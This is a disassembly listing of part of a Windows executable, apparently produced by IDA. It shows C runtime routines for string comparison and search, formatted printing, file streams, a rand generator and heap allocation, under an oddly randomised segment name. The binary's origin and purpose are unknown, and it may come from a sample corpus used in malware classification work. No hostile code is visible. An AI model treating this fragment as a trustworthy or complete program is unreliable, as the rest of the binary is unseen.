		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40CE04
		or	al, al
		jz	short loc_40CE00
		cmp	ah, [ecx+1]
		jnz	short loc_40CE04
		or	ah, ah
		jz	short loc_40CE00
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40CE04
		or	al, al
		jz	short loc_40CE00
		cmp	ah, [ecx+3]
		jnz	short loc_40CE04
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40CDD0
		mov	edi, edi

loc_40CE00:				; CODE XREF: sub_40CDC0+18j
					; sub_40CDC0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CE04:				; CODE XREF: sub_40CDC0+14j
					; sub_40CDC0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_40CE0C:				; CODE XREF: sub_40CDC0+Ej
		test	edx, 1
		jz	short loc_40CE2C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_40CE04
		add	ecx, 1
		or	al, al
		jz	short loc_40CE00
		test	edx, 2
		jz	short loc_40CDD0

loc_40CE2C:				; CODE XREF: sub_40CDC0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40CE04
		or	al, al
		jz	short loc_40CE00
		cmp	ah, [ecx+1]
		jnz	short loc_40CE04
		or	ah, ah
		jz	short loc_40CE00
		add	ecx, 2
		jmp	short loc_40CDD0
sub_40CDC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE48	proc near		; CODE XREF: sub_4026D7+84p
					; sub_4026D7+102p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		jnz	short loc_40CE73

loc_40CE56:				; CODE XREF: sub_40CE48+30j
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CEC0
; ---------------------------------------------------------------------------

loc_40CE73:				; CODE XREF: sub_40CE48+Cj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40CE56
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		call	sub_4109D7
		add	esp, 10h
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40CEB1
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40CEBD
; ---------------------------------------------------------------------------

loc_40CEB1:				; CODE XREF: sub_40CE48+60j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_4107D6
		pop	ecx
		pop	ecx

loc_40CEBD:				; CODE XREF: sub_40CE48+67j
		mov	eax, esi
		pop	esi

loc_40CEC0:				; CODE XREF: sub_40CE48+29j
		pop	ebx
		leave
		retn
sub_40CE48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC3	proc near		; CODE XREF: sub_40CF87+Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset dword_421920
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_40CEFE

loc_40CEE2:				; CODE XREF: sub_40CEC3+47j
					; sub_40CEC3+52j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h

loc_40CEFA:				; CODE XREF: sub_40CEC3+6Bj
					; sub_40CEC3+92j
		xor	eax, eax
		jmp	short loc_40CF77
; ---------------------------------------------------------------------------

loc_40CEFE:				; CODE XREF: sub_40CEC3+1Dj
		xor	eax, eax
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_40CEE2
		xor	eax, eax
		cmp	[esi], bl
		setnz	al
		cmp	eax, ebx
		jz	short loc_40CEE2
		call	sub_412126
		mov	[ebp+arg_0], eax
		cmp	eax, ebx
		jnz	short loc_40CF30
		call	sub_40F7D4
		mov	dword ptr [eax], 18h
		jmp	short loc_40CEFA
; ---------------------------------------------------------------------------

loc_40CF30:				; CODE XREF: sub_40CEC3+5Ej
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[edi], bl
		jnz	short loc_40CF57
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		push	0FFFFFFFEh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		push	offset dword_423068
		call	sub_41224C
		add	esp, 0Ch
		jmp	short loc_40CEFA
; ---------------------------------------------------------------------------

loc_40CF57:				; CODE XREF: sub_40CEC3+72j
		push	eax
		push	[ebp+arg_8]
		push	esi
		push	edi
		call	sub_411E84
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40CF7D
		mov	eax, [ebp+var_1C]

loc_40CF77:				; CODE XREF: sub_40CEC3+39j
		call	__SEH_epilog4
		retn
sub_40CEC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF7D	proc near		; CODE XREF: sub_40CEC3+ACp
					; DATA XREF: r69pu5ti:00421938o
		push	dword ptr [ebp+8]
		call	sub_411E32
		pop	ecx
		retn
sub_40CF7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF87	proc near		; CODE XREF: sub_4026D7+116p
					; sub_407FE4+4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CEC3
		add	esp, 0Ch
		retn
sub_40CF87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF9A	proc near		; CODE XREF: sub_4026D7+131p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	0Ch
		push	offset dword_421940
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_40CFD9

loc_40CFB9:				; CODE XREF: sub_40CF9A+49j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40D0D9
; ---------------------------------------------------------------------------

loc_40CFD9:				; CODE XREF: sub_40CF9A+1Dj
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_40CFB9
		mov	[ebp+arg_0], esi
		push	esi
		call	sub_411DE0
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		test	byte ptr [esi+0Ch], 40h
		jnz	loc_40D0A2
		push	esi
		call	sub_4126A4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D036
		push	esi
		call	sub_4126A4
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40D036
		push	esi
		call	sub_4126A4
		sar	eax, 5
		lea	edi, ds:433C00h[eax*4]
		push	esi
		call	sub_4126A4
		pop	ecx
		pop	ecx
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		jmp	short loc_40D03B
; ---------------------------------------------------------------------------

loc_40D036:				; CODE XREF: sub_40CF9A+6Cj
					; sub_40CF9A+78j
		mov	eax, offset dword_423BB8

loc_40D03B:				; CODE XREF: sub_40CF9A+9Aj
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_40D086
		push	esi
		call	sub_4126A4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D07B
		push	esi
		call	sub_4126A4
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40D07B
		push	esi
		call	sub_4126A4
		sar	eax, 5
		lea	edi, ds:433C00h[eax*4]
		push	esi
		call	sub_4126A4
		pop	ecx
		pop	ecx
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		jmp	short loc_40D080
; ---------------------------------------------------------------------------

loc_40D07B:				; CODE XREF: sub_40CF9A+B1j
					; sub_40CF9A+BDj
		mov	eax, offset dword_423BB8

loc_40D080:				; CODE XREF: sub_40CF9A+DFj
		test	byte ptr [eax+24h], 80h
		jz	short loc_40D0A2

loc_40D086:				; CODE XREF: sub_40CF9A+A5j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40D0A2:				; CODE XREF: sub_40CF9A+5Cj
					; sub_40CF9A+EAj
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40D0CA
		push	esi
		call	sub_41239F
		mov	edi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		push	esi
		call	sub_4109D7
		mov	[ebp+var_1C], eax
		push	esi
		push	edi
		call	sub_412435
		add	esp, 1Ch

loc_40D0CA:				; CODE XREF: sub_40CF9A+10Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D0DF
		mov	eax, [ebp+var_1C]

loc_40D0D9:				; CODE XREF: sub_40CF9A+3Aj
		call	__SEH_epilog4
		retn
sub_40CF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0DF	proc near		; CODE XREF: sub_40CF9A+137p
					; DATA XREF: r69pu5ti:00421958o
		push	dword ptr [ebp+8]
		call	sub_411E32
		pop	ecx
		retn
sub_40D0DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0E9	proc near		; CODE XREF: sub_404844+4Fp
					; .text:00409493p

arg_0		= dword	ptr  4

		call	sub_40F39E
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_40D0E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0F6	proc near		; CODE XREF: sub_4026D7+A7p
					; sub_4026D7+B6p ...
		call	sub_40F39E
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_40D0F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D118	proc near		; CODE XREF: sub_40D1C9+12p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40D146
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40D1C6
; ---------------------------------------------------------------------------

loc_40D146:				; CODE XREF: sub_40D118+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40D172
		cmp	esi, ebx
		jnz	short loc_40D172
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D1C5
; ---------------------------------------------------------------------------

loc_40D172:				; CODE XREF: sub_40D118+37j
					; sub_40D118+3Bj
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_40D181
		mov	[ebp+var_1C], ecx

loc_40D181:				; CODE XREF: sub_40D118+64j
		push	edi
		push	[ebp+arg_10]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_C]
		mov	[ebp+var_14], 42h
		push	[ebp+arg_8]
		mov	[ebp+var_18], esi
		push	eax
		mov	[ebp+var_20], esi
		call	sub_4109D7
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40D1C4
		dec	[ebp+var_1C]
		js	short loc_40D1B6
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40D1C2
; ---------------------------------------------------------------------------

loc_40D1B6:				; CODE XREF: sub_40D118+95j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_4107D6
		pop	ecx
		pop	ecx

loc_40D1C2:				; CODE XREF: sub_40D118+9Cj
		mov	eax, edi

loc_40D1C4:				; CODE XREF: sub_40D118+90j
		pop	edi

loc_40D1C5:				; CODE XREF: sub_40D118+58j
		pop	esi

loc_40D1C6:				; CODE XREF: sub_40D118+29j
		pop	ebx
		leave
		retn
sub_40D118	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1C9	proc near		; CODE XREF: sub_402632+66p
					; sub_403DB4+7Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	0
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40D118
		add	esp, 14h
		retn
sub_40D1C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1E4	proc near		; CODE XREF: sub_40D257+5Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edi, edi
		or	ebx, 0FFFFFFFFh
		cmp	esi, edi
		jnz	short loc_40D211
		call	sub_40F7D4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D253
; ---------------------------------------------------------------------------

loc_40D211:				; CODE XREF: sub_40D1E4+Ej
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_40D24E
		push	esi
		call	sub_41285E
		push	esi
		mov	ebx, eax
		call	sub_412832
		push	esi
		call	sub_4126A4
		push	eax
		call	sub_412765
		add	esp, 10h
		test	eax, eax
		jge	short loc_40D23D
		or	ebx, 0FFFFFFFFh
		jmp	short loc_40D24E
; ---------------------------------------------------------------------------

loc_40D23D:				; CODE XREF: sub_40D1E4+52j
		mov	eax, [esi+1Ch]
		cmp	eax, edi
		jz	short loc_40D24E
		push	eax
		call	sub_40D35A
		pop	ecx
		mov	[esi+1Ch], edi

loc_40D24E:				; CODE XREF: sub_40D1E4+31j
					; sub_40D1E4+57j ...
		mov	[esi+0Ch], edi
		mov	eax, ebx

loc_40D253:				; CODE XREF: sub_40D1E4+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D1E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D257	proc near		; CODE XREF: sub_4026D7+137p
					; sub_407FE4+1C8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421960
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	esi, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_40D294
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D2A0
; ---------------------------------------------------------------------------

loc_40D294:				; CODE XREF: sub_40D257+1Ej
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_40D2A6
		mov	[esi+0Ch], edi

loc_40D29D:				; CODE XREF: sub_40D257+6Fj
		mov	eax, [ebp+var_1C]

loc_40D2A0:				; CODE XREF: sub_40D257+3Bj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40D2A6:				; CODE XREF: sub_40D257+41j
		push	esi
		call	sub_411DE0
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	esi
		call	sub_40D1E4
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D2CB
		jmp	short loc_40D29D
sub_40D257	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2C8	proc near		; DATA XREF: r69pu5ti:00421978o
		mov	esi, [ebp+8]
sub_40D2C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D2CB	proc near		; CODE XREF: sub_40D257+6Ap
		push	esi
		call	sub_411E32
		pop	ecx
		retn
sub_40D2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2D3	proc near		; CODE XREF: sub_40D33B+15p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		call	sub_40C500
		xor	edi, edi
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40D304

loc_40D2E7:				; CODE XREF: sub_40D2D3+34j
		call	sub_40F7D4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D338
; ---------------------------------------------------------------------------

loc_40D304:				; CODE XREF: sub_40D2D3+12j
		cmp	[ebp+arg_4], edi
		jz	short loc_40D2E7
		mov	ecx, 7FFFFFFFh
		cmp	eax, ecx
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], ecx
		ja	short loc_40D325
		mov	[ebp+var_1C], eax

loc_40D325:				; CODE XREF: sub_40D2D3+4Dj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	[ebp+arg_0]
		add	esp, 10h

loc_40D338:				; CODE XREF: sub_40D2D3+2Fj
		pop	edi
		leave
		retn
sub_40D2D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D33B	proc near		; CODE XREF: sub_4037AC+5Ep
					; .text:00409FC3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	eax, [esp+4+arg_8]
		push	eax
		push	0
		push	[esp+0Ch+arg_4]
		push	offset sub_412A74
		call	sub_40D2D3
		add	esp, 10h
		pop	esi
		retn
sub_40D33B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D35A	proc near		; CODE XREF: sub_403249+4A5p
					; sub_405299+AEp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040D3B9 SIZE 0000002F BYTES

		push	0Ch
		push	offset dword_421980
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40D3E2
		cmp	dword_434D5C, 3
		jnz	short loc_40D3B9
		push	4
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_40FB25
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_40D399
		push	esi
		push	eax
		call	sub_40FB50
		pop	ecx
		pop	ecx

loc_40D399:				; CODE XREF: sub_40D35A+34j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D3B0
		cmp	[ebp+var_1C], 0
		jnz	short loc_40D3E2
		push	[ebp+arg_0]
		jmp	short loc_40D3BA
sub_40D35A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3B0	proc near		; CODE XREF: sub_40D35A+46p
					; DATA XREF: r69pu5ti:00421998o
		push	4
		call	sub_40F91F
		pop	ecx
		retn
sub_40D3B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D35A

loc_40D3B9:				; CODE XREF: sub_40D35A+1Aj
		push	esi

loc_40D3BA:				; CODE XREF: sub_40D35A+54j
		push	0
		push	dword_425FE8
		call	ds:dword_41E0F0	; RtlFreeHeap
		test	eax, eax
		jnz	short loc_40D3E2
		call	sub_40F7D4
		mov	esi, eax
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40F799
		mov	[esi], eax
		pop	ecx

loc_40D3E2:				; CODE XREF: sub_40D35A+11j
					; sub_40D35A+4Fj ...
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40D35A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3E8	proc near		; CODE XREF: sub_40D437+59p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_4219A0
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_434D4C
		ja	short loc_40D425
		push	4
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_4102F9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D42E

loc_40D425:				; CODE XREF: sub_40D3E8+19j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40D3E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D42E	proc near		; CODE XREF: sub_40D3E8+38p
					; DATA XREF: r69pu5ti:004219B8o
		push	4
		call	sub_40F91F
		pop	ecx
		retn
sub_40D42E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D437	proc near		; CODE XREF: sub_403249+2A1p
					; sub_403249+2EDp ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		cmp	ebp, 0FFFFFFE0h
		ja	loc_40D4E4
		push	ebx
		mov	ebx, ds:dword_41E0F8
		push	esi
		push	edi

loc_40D44E:				; CODE XREF: sub_40D437+94j
		xor	esi, esi
		cmp	dword_425FE8, esi
		mov	edi, ebp
		jnz	short loc_40D472
		call	sub_413861
		push	1Eh
		call	sub_4136C1
		push	0FFh
		call	sub_4119A7
		pop	ecx
		pop	ecx

loc_40D472:				; CODE XREF: sub_40D437+21j
		mov	eax, dword_434D5C
		cmp	eax, 1
		jnz	short loc_40D48A
		cmp	ebp, esi
		jz	short loc_40D484
		mov	eax, ebp
		jmp	short loc_40D487
; ---------------------------------------------------------------------------

loc_40D484:				; CODE XREF: sub_40D437+47j
		xor	eax, eax
		inc	eax

loc_40D487:				; CODE XREF: sub_40D437+4Bj
		push	eax
		jmp	short loc_40D4A8
; ---------------------------------------------------------------------------

loc_40D48A:				; CODE XREF: sub_40D437+43j
		cmp	eax, 3
		jnz	short loc_40D49A
		push	ebp
		call	sub_40D3E8
		cmp	eax, esi
		pop	ecx
		jnz	short loc_40D4B1

loc_40D49A:				; CODE XREF: sub_40D437+56j
		cmp	ebp, esi
		jnz	short loc_40D4A1
		xor	edi, edi
		inc	edi

loc_40D4A1:				; CODE XREF: sub_40D437+65j
		add	edi, 0Fh
		and	edi, 0FFFFFFF0h
		push	edi

loc_40D4A8:				; CODE XREF: sub_40D437+51j
		push	esi
		push	dword_425FE8
		call	ebx	; RtlAllocateHeap

loc_40D4B1:				; CODE XREF: sub_40D437+61j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40D4DD
		cmp	dword_42636C, eax
		push	0Ch
		pop	edi
		jz	short loc_40D4CF
		push	ebp
		call	sub_411CE7
		test	eax, eax
		pop	ecx
		jnz	short loc_40D44E
		jmp	short loc_40D4D6
; ---------------------------------------------------------------------------

loc_40D4CF:				; CODE XREF: sub_40D437+89j
		call	sub_40F7D4
		mov	[eax], edi

loc_40D4D6:				; CODE XREF: sub_40D437+96j
		call	sub_40F7D4
		mov	[eax], edi

loc_40D4DD:				; CODE XREF: sub_40D437+7Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D4E4:				; CODE XREF: sub_40D437+8j
		push	ebp
		call	sub_411CE7
		pop	ecx
		call	sub_40F7D4
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		pop	ebp
		retn
sub_40D437	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D500	proc near		; CODE XREF: sub_403718+1Ep
					; sub_403718+7Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40D580
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_40D56D

loc_40D518:				; CODE XREF: sub_40D500+58j
					; sub_40D500+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_40D53E
		test	al, al
		jz	short loc_40D538

loc_40D52B:				; CODE XREF: sub_40D500+36j
		mov	al, [esi]
		add	esi, 1

loc_40D530:				; CODE XREF: sub_40D500+45j
		cmp	al, dl
		jz	short loc_40D53E
		test	al, al
		jnz	short loc_40D52B

loc_40D538:				; CODE XREF: sub_40D500+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40D53E:				; CODE XREF: sub_40D500+25j
					; sub_40D500+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_40D530
		lea	edi, [esi-1]

loc_40D54A:				; CODE XREF: sub_40D500+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_40D579
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_40D518
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_40D579
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_40D54A
		jmp	short loc_40D518
; ---------------------------------------------------------------------------

loc_40D56D:				; CODE XREF: sub_40D500+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_40D6A6
; ---------------------------------------------------------------------------

loc_40D579:				; CODE XREF: sub_40D500+4Fj
					; sub_40D500+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40D580:				; CODE XREF: sub_40D500+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_40D500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D590	proc near		; CODE XREF: sub_4037AC+A5p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40D605
sub_40D590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D5A0	proc near		; CODE XREF: sub_4037AC+3Bp
					; sub_4037AC+91p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40D5C0

loc_40D5AD:				; CODE XREF: sub_40D5A0+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40D5F3
		test	ecx, 3
		jnz	short loc_40D5AD
		mov	edi, edi

loc_40D5C0:				; CODE XREF: sub_40D5A0+Bj
					; sub_40D5A0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40D5C0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40D602
		test	ah, ah
		jz	short loc_40D5FD
		test	eax, 0FF0000h
		jz	short loc_40D5F8
		test	eax, 0FF000000h
		jz	short loc_40D5F3
		jmp	short loc_40D5C0
; ---------------------------------------------------------------------------

loc_40D5F3:				; CODE XREF: sub_40D5A0+14j
					; sub_40D5A0+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D5F8:				; CODE XREF: sub_40D5A0+48j
		lea	edi, [ecx-2]
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D5FD:				; CODE XREF: sub_40D5A0+41j
		lea	edi, [ecx-3]
		jmp	short loc_40D605
